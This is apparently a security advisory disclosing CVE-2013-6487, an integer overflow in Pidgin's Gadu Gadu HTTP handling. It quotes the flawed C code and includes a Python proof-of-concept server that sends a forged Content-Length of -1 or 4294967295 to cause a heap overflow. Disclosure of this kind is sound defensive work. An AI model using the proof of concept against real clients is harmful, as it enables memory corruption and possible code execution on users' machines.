Talos Vulnerability Report

VRT-2013-1001

Pidgin libpurple Gadu Gadu HTTP Content-Length Integer Overflow Vulnerability

January 26, 2014
CVE Number

CVE-2013-6487

Description

An exploitable remote code execution vulnerability exists in Pidgin''s implementation of the Gadu Gadu protocol in the libpurple library. An attacker who can control the content-length of a HTTP request can cause an undersized allocation which can later be used to overflow into the heap. An attack requires the ability to spoof messages from the gadu-gadu.pl domain to exploit this vulnerability.

Tested Versions

Pidgin 2.10.7

Product URLs

http://www.pidgin.im/

Details

In gghttpwatch_fd() in file pidgin-2.10.7\libpurple\protocols\gg\lib\http.c at line 353 content-length will be read from the HTTP server:

    353     while (line) {
    354         if (!strncasecmp(line, "Content-length: ", 16)) {
    355             h->body_size = atoi(line + 16);
    356         }
    357         line = strchr(line, ''\n'');
    358         if (line)
    359             line++;
    360     }

It then checks if h->bodysize is less than or equal to 0, however h->body_size is an unsigned int so a negative value will return a large positive size, meaning the check for less than zero will never be true:

    362     if (h->body_size <= 0) {
    363         gg_debug(GG_DEBUG_MISC, "=> http, content-length not found\n");
    364         h->body_size = left;
    365     }

This check will also pass because left will not be larger than a negative body_size:

    367     if (left > h->body_size) {
    368         gg_debug(GG_DEBUG_MISC, "=> http, oversized reply (%d bytes needed, %d bytes left)\n", h->body_size, left);
    369         h->body_size = left;
    370     }

If h->body_size is 4294967295 (or -1) then the below will result in a malloc(0):

    374     if (!(h->body = malloc(h->body_size + 1))) {

Finally we reach our out of bounds write into the heap here:

    381     if (left) {
    382         memcpy(h->body, tmp + sep_len, left);
    383         h->body_done = left;
    384     }

The client will keep copying data as long as there''s data in the http response body and will then free the original heap chunk.

Proof of Concept

The following python code will trigger the vulnerability by supplying an overly large content-length value. We used DNS redirection on register.gadu-gadu.pl and had this listening for a password change request.

        import socket
        import struct
        import httplib
        import BaseHTTPServer

        PORT_NUMBER = 80

        class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
            def do_HEAD(s):
                s.send_response(200)
                s.send_header("Content-type", "text/html")
                s.end_headers()
            def do_GET(s):
                s.send_response(200)
                s.send_header("Content-type", "text/html")
                s.send_header("Content-Length", "4294967295")
                s.end_headers()
                s.wfile.write("A"*1024)
            def do_POST(s):
                s.send_response(200)
                s.send_header("Content-type", "text/html")
                s.send_header("Content-Length", "-1")
                s.end_headers()
                #s.wfile.write("A"*8192)
                s.wfile.write("A"*8192)

        if __name__ == "__main__":
            server_class = BaseHTTPServer.HTTPServer
            server_addr = ('''', 80)
            httpd = server_class(server_addr, MyHandler)
            print "Server up"
            try:
                httpd.serve_forever()
            except KeyboardInterrupt:
                pass
            httpd.server_close()
            print "Server stopped"
Credit

Sourcefire VRT